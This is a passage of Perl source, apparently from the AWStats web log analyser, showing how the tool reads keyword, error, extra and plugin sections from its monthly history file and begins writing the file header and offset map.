5492
 
                                                $count++;
5493
 
                                                if ( $SectionsToLoad{'searchwords'} ) {
5494
 
                                                        my $loadrecord = 0;
5495
 
                                                        if ($withupdate) {
5496
 
                                                                $loadrecord = 1;
5497
 
                                                        }
5498
 
                                                        else {
5499
 
                                                                if ( $HTMLOutput{'main'} ) {
5500
 
                                                                        if ( $MonthRequired eq 'all' ) {
5501
 
                                                                                $loadrecord = 1;
5502
 
                                                                        }
5503
 
                                                                        else {
5504
 
                                                                                if ( $countloaded <
5505
 
                                                                                           $MaxNbOf{'KeyphrasesShown'}
5506
 
                                                                                        && $field[1] >=
5507
 
                                                                                        $MinHit{'Keyphrase'} )
5508
 
                                                                                {
5509
 
                                                                                        $loadrecord = 1;
5510
 
                                                                                }
5511
 
                                                                                $TotalDifferentKeyphrases++;
5512
 
                                                                                $TotalKeyphrases += ( $field[1] || 0 );
5513
 
                                                                        }
5514
 
                                                                }
5515
 
                                                                elsif ( $HTMLOutput{'keyphrases'} )
5516
 
                                                                {    # Load keyphrases for keyphrases chart
5517
 
                                                                        if ( $MonthRequired eq 'all' ) {
5518
 
                                                                                $loadrecord = 1;
5519
 
                                                                        }
5520
 
                                                                        else {
5521
 
                                                                                if ( $field[1] >= $MinHit{'Keyphrase'} )
5522
 
                                                                                {
5523
 
                                                                                        $loadrecord = 1;
5524
 
                                                                                }
5525
 
                                                                                $TotalDifferentKeyphrases++;
5526
 
                                                                                $TotalKeyphrases += ( $field[1] || 0 );
5527
 
                                                                        }
5528
 
                                                                }
5529
 
                                                                if ( $HTMLOutput{'keywords'} )
5530
 
                                                                {    # Load keyphrases for keywords chart
5531
 
                                                                        $loadrecord = 2;
5532
 
                                                                }
5533
 
                                                        }
5534
 
                                                        if ($loadrecord) {
5535
 
                                                                if ( $field[1] ) {
5536
 
                                                                        if ( $loadrecord == 2 ) {
5537
 
                                                                                foreach ( split( /\+/, $field[0] ) )
5538
 
                                                                                {    # field[0] is "val1+val2+..."
5539
 
                                                                                        $_keywords{$_} += $field[1];
5540
 
                                                                                }
5541
 
                                                                        }
5542
 
                                                                        else {
5543
 
                                                                                $_keyphrases{ $field[0] } += $field[1];
5544
 
                                                                        }
5545
 
                                                                }
5546
 
                                                                $countloaded++;
5547
 
                                                        }
5548
 
                                                }
5549
 
                                        }
5550
 
                                        $_ = <HISTORY>;
5551
 
                                        chomp $_;
5552
 
                                        s/\r//;
5553
 
                                        @field =
5554
 
                                          split( /\s+/,
5555
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5556
 
                                        $countlines++;
5557
 
                                  } until ( $field[0] eq 'END_SEARCHWORDS'
5558
 
                                          || $field[0] eq "${xmleb}END_SEARCHWORDS"
5559
 
                                          || !$_ );
5560
 
                                if (   $field[0] ne 'END_SEARCHWORDS'
5561
 
                                        && $field[0] ne "${xmleb}END_SEARCHWORDS" )
5562
 
                                {
5563
 
                                        error(
5564
 
"History file \"$filetoread\" is corrupted (End of section SEARCHWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5565
 
                                                "", "", 1
5566
 
                                        );
5567
 
                                }
5568
 
                                if ($Debug) {
5569
 
                                        debug(
5570
 
" End of SEARCHWORDS section ($count entries, $countloaded loaded)"
5571
 
                                        );
5572
 
                                }
5573
 
                                delete $SectionsToLoad{'searchwords'};
5574
 
                                if ( $SectionsToSave{'searchwords'} ) {
5575
 
                                        Save_History( 'searchwords', $year, $month, $date );
5576
 
                                        delete $SectionsToSave{ 'searchwords'
5577
 
                                          };    # This save searwords and keywords sections
5578
 
                                        if ($withpurge) { %_keyphrases = (); }
5579
 
                                }
5580
 
                                if ( !scalar %SectionsToLoad ) {
5581
 
                                        debug(" Stop reading history file. Got all we need.");
5582
 
                                        last;
5583
 
                                }
5584
 
                                next;
5585
 
                        }
5586
 
 
5587
 
                        # BEGIN_KEYWORDS
5588
 
                        if ( $field[0] eq 'BEGIN_KEYWORDS' ) {
5589
 
                                if ($Debug) {
5590
 
                                        debug(
5591
 
" Begin of KEYWORDS section ($MaxNbOf{'KeywordsShown'},$MinHit{'Keyword'})"
5592
 
                                        );
5593
 
                                }
5594
 
                                $field[0] = '';
5595
 
                                my $count       = 0;
5596
 
                                my $countloaded = 0;
5597
 
                                do {
5598
 
                                        if ( $field[0] ) {
5599
 
                                                $count++;
5600
 
                                                if ( $SectionsToLoad{'keywords'} ) {
5601
 
                                                        my $loadrecord = 0;
5602
 
                                                        if ( $MonthRequired eq 'all' ) { $loadrecord = 1; }
5603
 
                                                        else {
5604
 
                                                                if (   $countloaded < $MaxNbOf{'KeywordsShown'}
5605
 
                                                                        && $field[1] >= $MinHit{'Keyword'} )
5606
 
                                                                {
5607
 
                                                                        $loadrecord = 1;
5608
 
                                                                }
5609
 
                                                                $TotalDifferentKeywords++;
5610
 
                                                                $TotalKeywords += ( $field[1] || 0 );
5611
 
                                                        }
5612
 
                                                        if ($loadrecord) {
5613
 
                                                                if ( $field[1] ) {
5614
 
                                                                        $_keywords{ $field[0] } += $field[1];
5615
 
                                                                }
5616
 
                                                                $countloaded++;
5617
 
                                                        }
5618
 
                                                }
5619
 
                                        }
5620
 
                                        $_ = <HISTORY>;
5621
 
                                        chomp $_;
5622
 
                                        s/\r//;
5623
 
                                        @field =
5624
 
                                          split( /\s+/,
5625
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5626
 
                                        $countlines++;
5627
 
                                  } until ( $field[0] eq 'END_KEYWORDS'
5628
 
                                          || $field[0] eq "${xmleb}END_KEYWORDS"
5629
 
                                          || !$_ );
5630
 
                                if (   $field[0] ne 'END_KEYWORDS'
5631
 
                                        && $field[0] ne "${xmleb}END_KEYWORDS" )
5632
 
                                {
5633
 
                                        error(
5634
 
"History file \"$filetoread\" is corrupted (End of section KEYWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5635
 
                                                "", "", 1
5636
 
                                        );
5637
 
                                }
5638
 
                                if ($Debug) {
5639
 
                                        debug(
5640
 
" End of KEYWORDS section ($count entries, $countloaded loaded)"
5641
 
                                        );
5642
 
                                }
5643
 
                                delete $SectionsToLoad{'keywords'};
5644
 
                                if ( $SectionsToSave{'keywords'} ) {
5645
 
                                        Save_History( 'keywords', $year, $month, $date );
5646
 
                                        delete $SectionsToSave{'keywords'};
5647
 
                                        if ($withpurge) { %_keywords = (); }
5648
 
                                }
5649
 
                                if ( !scalar %SectionsToLoad ) {
5650
 
                                        debug(" Stop reading history file. Got all we need.");
5651
 
                                        last;
5652
 
                                }
5653
 
                                next;
5654
 
                        }
5655
 
 
5656
 
                        # BEGIN_ERRORS
5657
 
                        if ( $field[0] eq 'BEGIN_ERRORS' ) {
5658
 
                                if ($Debug) { debug(" Begin of ERRORS section"); }
5659
 
                                $field[0] = '';
5660
 
                                my $count       = 0;
5661
 
                                my $countloaded = 0;
5662
 
                                do {
5663
 
                                        if ( $field[0] ) {
5664
 
                                                $count++;
5665
 
                                                if ( $SectionsToLoad{'errors'} ) {
5666
 
                                                        $countloaded++;
5667
 
                                                        if ( $field[1] ) {
5668
 
                                                                $_errors_h{ $field[0] } += $field[1];
5669
 
                                                        }
5670
 
                                                        if ( $field[2] ) {
5671
 
                                                                $_errors_k{ $field[0] } += $field[2];
5672
 
                                                        }
5673
 
                                                }
5674
 
                                        }
5675
 
                                        $_ = <HISTORY>;
5676
 
                                        chomp $_;
5677
 
                                        s/\r//;
5678
 
                                        @field =
5679
 
                                          split( /\s+/,
5680
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5681
 
                                        $countlines++;
5682
 
                                  } until ( $field[0] eq 'END_ERRORS'
5683
 
                                          || $field[0] eq "${xmleb}END_ERRORS"
5684
 
                                          || !$_ );
5685
 
                                if (   $field[0] ne 'END_ERRORS'
5686
 
                                        && $field[0] ne "${xmleb}END_ERRORS" )
5687
 
                                {
5688
 
                                        error(
5689
 
"History file \"$filetoread\" is corrupted (End of section ERRORS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5690
 
                                                "", "", 1
5691
 
                                        );
5692
 
                                }
5693
 
                                if ($Debug) {
5694
 
                                        debug(
5695
 
" End of ERRORS section ($count entries, $countloaded loaded)"
5696
 
                                        );
5697
 
                                }
5698
 
                                delete $SectionsToLoad{'errors'};
5699
 
                                if ( $SectionsToSave{'errors'} ) {
5700
 
                                        Save_History( 'errors', $year, $month, $date );
5701
 
                                        delete $SectionsToSave{'errors'};
5702
 
                                        if ($withpurge) { %_errors_h = (); %_errors_k = (); }
5703
 
                                }
5704
 
                                if ( !scalar %SectionsToLoad ) {
5705
 
                                        debug(" Stop reading history file. Got all we need.");
5706
 
                                        last;
5707
 
                                }
5708
 
                                next;
5709
 
                        }
5710
 
 
5711
 
                        # BEGIN_SIDER_xxx
5712
 
                        foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
5713
 
                                if ( $field[0] eq "BEGIN_SIDER_$code" ) {
5714
 
                                        if ($Debug) { debug(" Begin of SIDER_$code section"); }
5715
 
                                        $field[0] = '';
5716
 
                                        my $count       = 0;
5717
 
                                        my $countloaded = 0;
5718
 
                                        do {
5719
 
                                                if ( $field[0] ) {
5720
 
                                                        $count++;
5721
 
                                                        if ( $SectionsToLoad{"sider_$code"} ) {
5722
 
                                                                $countloaded++;
5723
 
                                                                if ( $field[1] ) {
5724
 
                                                                        $_sider404_h{ $field[0] } += $field[1];
5725
 
                                                                }
5726
 
                                                                if ( $withupdate || $HTMLOutput{"errors$code"} )
5727
 
                                                                {
5728
 
                                                                        if ( $field[2] ) {
5729
 
                                                                                $_referer404_h{ $field[0] } = $field[2];
5730
 
                                                                        }
5731
 
                                                                }
5732
 
                                                        }
5733
 
                                                }
5734
 
                                                $_ = <HISTORY>;
5735
 
                                                chomp $_;
5736
 
                                                s/\r//;
5737
 
                                                @field = split(
5738
 
                                                        /\s+/,
5739
 
                                                        (
5740
 
                                                                $readxml
5741
 
                                                                ? XMLDecodeFromHisto($_)
5742
 
                                                                : $_
5743
 
                                                        )
5744
 
                                                );
5745
 
                                                $countlines++;
5746
 
                                          } until ( $field[0] eq "END_SIDER_$code"
5747
 
                                                  || $field[0] eq "${xmleb}END_SIDER_$code"
5748
 
                                                  || !$_ );
5749
 
                                        if (   $field[0] ne "END_SIDER_$code"
5750
 
                                                && $field[0] ne "${xmleb}END_SIDER_$code" )
5751
 
                                        {
5752
 
                                                error(
5753
 
"History file \"$filetoread\" is corrupted (End of section SIDER_$code not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5754
 
                                                        "", "", 1
5755
 
                                                );
5756
 
                                        }
5757
 
                                        if ($Debug) {
5758
 
                                                debug(
5759
 
" End of SIDER_$code section ($count entries, $countloaded loaded)"
5760
 
                                                );
5761
 
                                        }
5762
 
                                        delete $SectionsToLoad{"sider_$code"};
5763
 
                                        if ( $SectionsToSave{"sider_$code"} ) {
5764
 
                                                Save_History( "sider_$code", $year, $month, $date );
5765
 
                                                delete $SectionsToSave{"sider_$code"};
5766
 
                                                if ($withpurge) {
5767
 
                                                        %_sider404_h   = ();
5768
 
                                                        %_referer404_h = ();
5769
 
                                                }
5770
 
                                        }
5771
 
                                        if ( !scalar %SectionsToLoad ) {
5772
 
                                                debug(" Stop reading history file. Got all we need.");
5773
 
                                                last;
5774
 
                                        }
5775
 
                                        next;
5776
 
                                }
5777
 
                        }
5778
 
 
5779
 
                        # BEGIN_EXTRA_xxx
5780
 
                        foreach my $extranum ( 1 .. @ExtraName - 1 ) {
5781
 
                                if ( $field[0] eq "BEGIN_EXTRA_$extranum" ) {
5782
 
                                        if ($Debug) { debug(" Begin of EXTRA_$extranum"); }
5783
 
                                        $field[0] = '';
5784
 
                                        my $count       = 0;
5785
 
                                        my $countloaded = 0;
5786
 
                                        do {
5787
 
                                                if ( $field[0] ne '' ) {
5788
 
                                                        $count++;
5789
 
                                                        if ( $SectionsToLoad{"extra_$extranum"} ) {
5790
 
                                                                if (   $ExtraStatTypes[$extranum] =~ /P/i
5791
 
                                                                        && $field[1] )
5792
 
                                                                {
5793
 
                                                                        ${ '_section_' . $extranum . '_p' }
5794
 
                                                                          { $field[0] } += $field[1];
5795
 
                                                                }
5796
 
                                                                ${ '_section_' . $extranum . '_h' }
5797
 
                                                                  { $field[0] } += $field[2];
5798
 
                                                                if (   $ExtraStatTypes[$extranum] =~ /B/i
5799
 
                                                                        && $field[3] )
5800
 
                                                                {
5801
 
                                                                        ${ '_section_' . $extranum . '_k' }
5802
 
                                                                          { $field[0] } += $field[3];
5803
 
                                                                }
5804
 
                                                                if ( $ExtraStatTypes[$extranum] =~ /L/i
5805
 
                                                                        && !${ '_section_' . $extranum . '_l' }
5806
 
                                                                        { $field[0] }
5807
 
                                                                        && $field[4] )
5808
 
                                                                {
5809
 
                                                                        ${ '_section_' . $extranum . '_l' }
5810
 
                                                                          { $field[0] } = int( $field[4] );
5811
 
                                                                }
5812
 
                                                                $countloaded++;
5813
 
                                                        }
5814
 
                                                }
5815
 
                                                $_ = <HISTORY>;
5816
 
                                                chomp $_;
5817
 
                                                s/\r//;
5818
 
                                                @field = split(
5819
 
                                                        /\s+/,
5820
 
                                                        (
5821
 
                                                                $readxml
5822
 
                                                                ? XMLDecodeFromHisto($_)
5823
 
                                                                : $_
5824
 
                                                        )
5825
 
                                                );
5826
 
                                                $countlines++;
5827
 
                                          } until ( $field[0] eq "END_EXTRA_$extranum"
5828
 
                                                  || $field[0] eq "${xmleb}END_EXTRA_$extranum"
5829
 
                                                  || !$_ );
5830
 
                                        if (   $field[0] ne "END_EXTRA_$extranum"
5831
 
                                                && $field[0] ne "${xmleb}END_EXTRA_$extranum" )
5832
 
                                        {
5833
 
                                                error(
5834
 
"History file \"$filetoread\" is corrupted (End of section EXTRA_$extranum not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5835
 
                                                        "", "", 1
5836
 
                                                );
5837
 
                                        }
5838
 
                                        if ($Debug) {
5839
 
                                                debug(
5840
 
" End of EXTRA_$extranum section ($count entries, $countloaded loaded)"
5841
 
                                                );
5842
 
                                        }
5843
 
                                        delete $SectionsToLoad{"extra_$extranum"};
5844
 
                                        if ( $SectionsToSave{"extra_$extranum"} ) {
5845
 
                                                Save_History( "extra_$extranum", $year, $month, $date );
5846
 
                                                delete $SectionsToSave{"extra_$extranum"};
5847
 
                                                if ($withpurge) {
5848
 
                                                        %{ '_section_' . $extranum . '_p' } = ();
5849
 
                                                        %{ '_section_' . $extranum . '_h' } = ();
5850
 
                                                        %{ '_section_' . $extranum . '_b' } = ();
5851
 
                                                        %{ '_section_' . $extranum . '_l' } = ();
5852
 
                                                }
5853
 
                                        }
5854
 
                                        if ( !scalar %SectionsToLoad ) {
5855
 
                                                debug(" Stop reading history file. Got all we need.");
5856
 
                                                last;
5857
 
                                        }
5858
 
                                        next;
5859
 
                                }
5860
 
                        }
5861
 
 
5862
 
                        # BEGIN_PLUGINS
5863
 
                        if (   $AtLeastOneSectionPlugin
5864
 
                                && $field[0] =~ /^BEGIN_PLUGIN_(\w+)$/i )
5865
 
                        {
5866
 
                                my $pluginname = $1;
5867
 
                                my $found      = 0;
5868
 
                                foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
5869
 
                                        if ( $pluginname eq $_ ) {
5870
 
 
5871
 
                                                # The plugin for this section was loaded
5872
 
                                                $found = 1;
5873
 
                                                my $issectiontoload =
5874
 
                                                  $SectionsToLoad{"plugin_$pluginname"};
5875
 
 
5876
 
#                                   my $function="SectionReadHistory_$pluginname(\$issectiontoload,\$readxml,\$xmleb,\$countlines)";
5877
 
#                                   eval("$function");
5878
 
                                                my $function = "SectionReadHistory_$pluginname";
5879
 
                                                &$function( $issectiontoload, $readxml, $xmleb,
5880
 
                                                        $countlines );
5881
 
                                                delete $SectionsToLoad{"plugin_$pluginname"};
5882
 
                                                if ( $SectionsToSave{"plugin_$pluginname"} ) {
5883
 
                                                        Save_History( "plugin_$pluginname",
5884
 
                                                                $year, $month, $date );
5885
 
                                                        delete $SectionsToSave{"plugin_$pluginname"};
5886
 
                                                        if ($withpurge) {
5887
 
 
5888
 
#                                       my $function="SectionInitHashArray_$pluginname()";
5889
 
#                                       eval("$function");
5890
 
                                                                my $function =
5891
 
                                                                  "SectionInitHashArray_$pluginname";
5892
 
                                                                &$function();
5893
 
                                                        }
5894
 
                                                }
5895
 
                                                last;
5896
 
                                        }
5897
 
                                }
5898
 
                                if ( !scalar %SectionsToLoad ) {
5899
 
                                        debug(" Stop reading history file. Got all we need.");
5900
 
                                        last;
5901
 
                                }
5902
 
 
5903
 
                                # The plugin for this section was not loaded
5904
 
                                if ( !$found ) {
5905
 
                                        do {
5906
 
                                                $_ = <HISTORY>;
5907
 
                                                chomp $_;
5908
 
                                                s/\r//;
5909
 
                                                @field = split(
5910
 
                                                        /\s+/,
5911
 
                                                        (
5912
 
                                                                $readxml
5913
 
                                                                ? XMLDecodeFromHisto($_)
5914
 
                                                                : $_
5915
 
                                                        )
5916
 
                                                );
5917
 
                                                $countlines++;
5918
 
                                          } until ( $field[0] eq "END_PLUGIN_$pluginname"
5919
 
                                                  || $field[0] eq "${xmleb}END_PLUGIN_$pluginname"
5920
 
                                                  || !$_ );
5921
 
                                }
5922
 
                                next;
5923
 
                        }
5924
 
 
5925
 
# For backward compatibility (ORIGIN section was "HitFromx" in old history files)
5926
 
                        if ( $SectionsToLoad{'origin'} ) {
5927
 
                                if ( $field[0] eq 'HitFrom0' ) {
5928
 
                                        $_from_p[0] += 0;
5929
 
                                        $_from_h[0] += $field[1];
5930
 
                                        next;
5931
 
                                }
5932
 
                                if ( $field[0] eq 'HitFrom1' ) {
5933
 
                                        $_from_p[1] += 0;
5934
 
                                        $_from_h[1] += $field[1];
5935
 
                                        next;
5936
 
                                }
5937
 
                                if ( $field[0] eq 'HitFrom2' ) {
5938
 
                                        $_from_p[2] += 0;
5939
 
                                        $_from_h[2] += $field[1];
5940
 
                                        next;
5941
 
                                }
5942
 
                                if ( $field[0] eq 'HitFrom3' ) {
5943
 
                                        $_from_p[3] += 0;
5944
 
                                        $_from_h[3] += $field[1];
5945
 
                                        next;
5946
 
                                }
5947
 
                                if ( $field[0] eq 'HitFrom4' ) {
5948
 
                                        $_from_p[4] += 0;
5949
 
                                        $_from_h[4] += $field[1];
5950
 
                                        next;
5951
 
                                }
5952
 
                                if ( $field[0] eq 'HitFrom5' ) {
5953
 
                                        $_from_p[5] += 0;
5954
 
                                        $_from_h[5] += $field[1];
5955
 
                                        next;
5956
 
                                }
5957
 
                        }
5958
 
                }
5959
 
        }
5960
 
 
5961
 
        if ($withupdate) {
5962
 
 
5963
 
# Process rest of data saved in 'wait' arrays (data for hosts that are not in history file or no history file found)
5964
 
# This can change some values for day, sider and session sections
5965
 
                if ($Debug) { debug( " Processing data in 'wait' arrays", 3 ); }
5966
 
                foreach ( keys %_waithost_e ) {
5967
 
                        if ($Debug) {
5968
 
                                debug( "  Visit in 'wait' array for $_ is a new visit", 4 );
5969
 
                        }
5970
 
                        my $newtimehosts =
5971
 
                          ( $_waithost_s{$_} ? $_waithost_s{$_} : $_host_s{$_} );
5972
 
                        my $newtimehostl =
5973
 
                          ( $_waithost_l{$_} ? $_waithost_l{$_} : $_host_l{$_} );
5974
 
                        $_url_e{ $_waithost_e{$_} }++;
5975
 
                        $newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/;
5976
 
                        $DayVisits{$1}++;
5977
 
                        if ( $_waithost_s{$_} ) {
5978
 
 
5979
 
                                # There was also a second session in processed log
5980
 
                                $_session{ GetSessionRange( $newtimehosts, $newtimehostl ) }++;
5981
 
                        }
5982
 
                }
5983
 
        }
5984
 
 
5985
 
# Write all unwrote sections in section order ('general','time', 'day','sider','session' and other...)
5986
 
        if ($Debug) {
5987
 
                debug(
5988
 
                        " Check and write all unwrote sections: "
5989
 
                          . join( ',', keys %SectionsToSave ),
5990
 
                        2
5991
 
                );
5992
 
        }
5993
 
        foreach my $key (
5994
 
                sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} }
5995
 
                keys %SectionsToSave
5996
 
          )
5997
 
        {
5998
 
                Save_History( "$key", $year, $month, $date, $lastlinenb,
5999
 
                        $lastlineoffset, $lastlinechecksum );
6000
 
        }
6001
 
        %SectionsToSave = ();
6002
 
 
6003
 
# Update offset in map section and last data in general section then close files
6004
 
        if ($withupdate) {
6005
 
                if ($xml) { print HISTORYTMP "\n\n</xml>\n"; }
6006
 
 
6007
 
                # Update offset of sections in the MAP section
6008
 
                foreach ( sort { $PosInFile{$a} <=> $PosInFile{$b} } keys %ValueInFile )
6009
 
                {
6010
 
                        if ($Debug) {
6011
 
                                debug(
6012
 
" Update offset of section $_=$ValueInFile{$_} in file at offset $PosInFile{$_}"
6013
 
                                );
6014
 
                        }
6015
 
                        if ( $PosInFile{"$_"} ) {
6016
 
                                seek( HISTORYTMP, $PosInFile{"$_"}, 0 );
6017
 
                                print HISTORYTMP $ValueInFile{"$_"};
6018
 
                        }
6019
 
                }
6020
 
 
6021
 
                # Save last data in general sections
6022
 
                if ($Debug) {
6023
 
                        debug(
6024
 
" Update MonthVisits=$MonthVisits{$year.$month} in file at offset $PosInFile{TotalVisits}"
6025
 
                        );
6026
 
                }
6027
 
                seek( HISTORYTMP, $PosInFile{"TotalVisits"}, 0 );
6028
 
                print HISTORYTMP $MonthVisits{ $year . $month };
6029
 
                if ($Debug) {
6030
 
                        debug(
6031
 
" Update MonthUnique=$MonthUnique{$year.$month} in file at offset $PosInFile{TotalUnique}"
6032
 
                        );
6033
 
                }
6034
 
                seek( HISTORYTMP, $PosInFile{"TotalUnique"}, 0 );
6035
 
                print HISTORYTMP $MonthUnique{ $year . $month };
6036
 
                if ($Debug) {
6037
 
                        debug(
6038
 
" Update MonthHostsKnown=$MonthHostsKnown{$year.$month} in file at offset $PosInFile{MonthHostsKnown}"
6039
 
                        );
6040
 
                }
6041
 
                seek( HISTORYTMP, $PosInFile{"MonthHostsKnown"}, 0 );
6042
 
                print HISTORYTMP $MonthHostsKnown{ $year . $month };
6043
 
                if ($Debug) {
6044
 
                        debug(
6045
 
" Update MonthHostsUnknown=$MonthHostsUnknown{$year.$month} in file at offset $PosInFile{MonthHostsUnknown}"
6046
 
                        );
6047
 
                }
6048
 
                seek( HISTORYTMP, $PosInFile{"MonthHostsUnknown"}, 0 );
6049
 
                print HISTORYTMP $MonthHostsUnknown{ $year . $month };
6050
 
                close(HISTORYTMP) || error("Failed to write temporary history file");
6051
 
        }
6052
 
        if ($withread) {
6053
 
                close(HISTORY) || error("Command for pipe '$filetoread' failed");
6054
 
        }
6055
 
 
6056
 
        # Purge data
6057
 
        if ($withpurge) { &Init_HashArray(); }
6058
 
 
6059
 
        # If update, rename tmp file bis into tmp file or set HistoryAlreadyFlushed
6060
 
        if ($withupdate) {
6061
 
                if ( $HistoryAlreadyFlushed{"$year$month$day$hour"} ) {
6062
 
                        debug(
6063
 
                                "Rename tmp history file bis '$filetoread' to '$filetowrite'");
6064
 
                        if ( rename( $filetowrite, $filetoread ) == 0 ) {
6065
 
                                error("Failed to update tmp history file $filetoread");
6066
 
                        }
6067
 
                }
6068
 
                else {
6069
 
                        $HistoryAlreadyFlushed{"$year$month$day$hour"} = 1;
6070
 
                }
6071
 
 
6072
 
                if ( !$ListOfYears{"$year"} || $ListOfYears{"$year"} lt "$month" ) {
6073
 
                        $ListOfYears{"$year"} = "$month";
6074
 
                }
6075
 
        }
6076
 
 
6077
 
        # For backward compatibility, if LastLine does not exist, set to LastTime
6078
 
        $LastLine ||= $LastTime{$date};
6079
 
 
6080
 
        return ( $withupdate ? "$filetowrite" : "" );
6081
 
}
6082
 
 
6083
 
#------------------------------------------------------------------------------
6084
 
# Function:             Save a part of history file
6085
 
# Parameters:   sectiontosave,year,month,breakdate[,lastlinenb,lastlineoffset,lastlinechecksum]
6086
 
# Input:                $VERSION HISTORYTMP $nowyear $nowmonth $nowday $nowhour $nowmin $nowsec $LastLineNumber $LastLineOffset $LastLineChecksum
6087
 
# Output:               None
6088
 
# Return:               None
6089
 
#------------------------------------------------------------------------------
6090
 
sub Save_History {
6091
 
        my $sectiontosave = shift || '';
6092
 
        my $year          = shift || '';
6093
 
        my $month         = shift || '';
6094
 
        my $breakdate     = shift || '';
6095
 
 
6096
 
        my $xml = ( $BuildHistoryFormat eq 'xml' ? 1 : 0 );
6097
 
        my (
6098
 
                $xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe,
6099
 
                $xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee
6100
 
          )
6101
 
          = ( '', '', '', '', '', '', '', '', '', '', '' );
6102
 
        if ($xml) {
6103
 
                (
6104
 
                        $xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe,
6105
 
                        $xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee
6106
 
                  )
6107
 
                  = (
6108
 
                        "</comment><nu>\n", '</nu><recnb>',
6109
 
                        '</recnb><table>',  '<tr><th>',
6110
 
                        '</th><th>',        '</th></tr>',
6111
 
                        '<tr><td>',         '</td><td>',
6112
 
                        '</td></tr>',       '</table><nu>',
6113
 
                        "\n</nu></section>"
6114
 
                  );
6115
 
        }
6116
 
        else { $xmlbs = ' '; $xmlhs = ' '; $xmlrs = ' '; }
6117
 
 
6118
 
        my $lastlinenb       = shift || 0;
6119
 
        my $lastlineoffset   = shift || 0;
6120
 
        my $lastlinechecksum = shift || 0;
6121
 
        if ( !$lastlinenb ) {    # This happens for migrate
6122
 
                $lastlinenb       = $LastLineNumber;
6123
 
                $lastlineoffset   = $LastLineOffset;
6124
 
                $lastlinechecksum = $LastLineChecksum;
6125
 
        }
6126
 
 
6127
 
        if ($Debug) {
6128
 
                debug(
6129
 
" Save_History [sectiontosave=$sectiontosave,year=$year,month=$month,breakdate=$breakdate,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]",
6130
 
                        1
6131
 
                );
6132
 
        }
6133
 
        my $spacebar      = "                    ";
6134
 
        my %keysinkeylist = ();
6135
 
 
6136
 
        # Header
6137
 
        if ( $sectiontosave eq 'header' ) {
6138
 
                if ($xml) { print HISTORYTMP "<version><lib>\n"; }
6139
 
                print HISTORYTMP "AWSTATS DATA FILE $VERSION\n";
6140
 
                if ($xml) { print HISTORYTMP "</lib><comment>\n"; }
6141
 
                print HISTORYTMP
6142
 
"# If you remove this file, all statistics for date $breakdate will be lost/reset.\n";
6143
 
                print HISTORYTMP
6144
 
                  "# Last config file used to build this data file was $FileConfig.\n";
6145
 
                if ($xml) { print HISTORYTMP "</comment></version>\n"; }
6146
 
                print HISTORYTMP "\n";
6147
 
                if ($xml) {
6148
 
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6149
 
                }
6150
 
                print HISTORYTMP
6151
 
"# Position (offset in bytes) in this file for beginning of each section for\n";
6152
 
                print HISTORYTMP
6153
 
"# direct I/O access. If you made changes somewhere in this file, you should\n";
6154
 
                print HISTORYTMP
6155
 
"# also remove completely the MAP section (AWStats will rewrite it at next\n";
6156
 
                print HISTORYTMP "# update).\n";
6157
 
                print HISTORYTMP "${xmlbb}BEGIN_MAP${xmlbs}"
6158
 
                  . ( 26 + ( scalar keys %TrapInfosForHTTPErrorCodes ) +
6159
 
                          ( scalar @ExtraName ? scalar @ExtraName - 1 : 0 ) +
6160
 
                          ( scalar keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) )
6161
 
                  . "${xmlbe}\n";
6162
 
                print HISTORYTMP "${xmlrb}POS_GENERAL${xmlrs}";
6163
 
                $PosInFile{"general"} = tell HISTORYTMP;
6164
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6165
 
 
6166
 
                # When
6167
 
                print HISTORYTMP "${xmlrb}POS_TIME${xmlrs}";
6168
 
                $PosInFile{"time"} = tell HISTORYTMP;
6169
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6170
 
                print HISTORYTMP "${xmlrb}POS_VISITOR${xmlrs}";
6171
 
                $PosInFile{"visitor"} = tell HISTORYTMP;
6172
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6173
 
                print HISTORYTMP "${xmlrb}POS_DAY${xmlrs}";
6174
 
                $PosInFile{"day"} = tell HISTORYTMP;
6175
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6176
 
 
6177
 
                # Who
6178
 
                print HISTORYTMP "${xmlrb}POS_DOMAIN${xmlrs}";
6179
 
                $PosInFile{"domain"} = tell HISTORYTMP;
6180
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6181
 
                print HISTORYTMP "${xmlrb}POS_LOGIN${xmlrs}";
6182
 
                $PosInFile{"login"} = tell HISTORYTMP;
6183
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6184
 
                print HISTORYTMP "${xmlrb}POS_ROBOT${xmlrs}";
6185
 
                $PosInFile{"robot"} = tell HISTORYTMP;
6186
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6187
 
                print HISTORYTMP "${xmlrb}POS_WORMS${xmlrs}";
6188
 
                $PosInFile{"worms"} = tell HISTORYTMP;
6189
 
                print HISTORYTMP "$spacebar${xmlre}\n";
6190
 
                print HISTORYTMP "${xmlrb}POS_EMAILSENDER${xmlrs}";
6191
 
                $PosInFile{"emailsender"} = tell HISTORYTMP;
6192
 
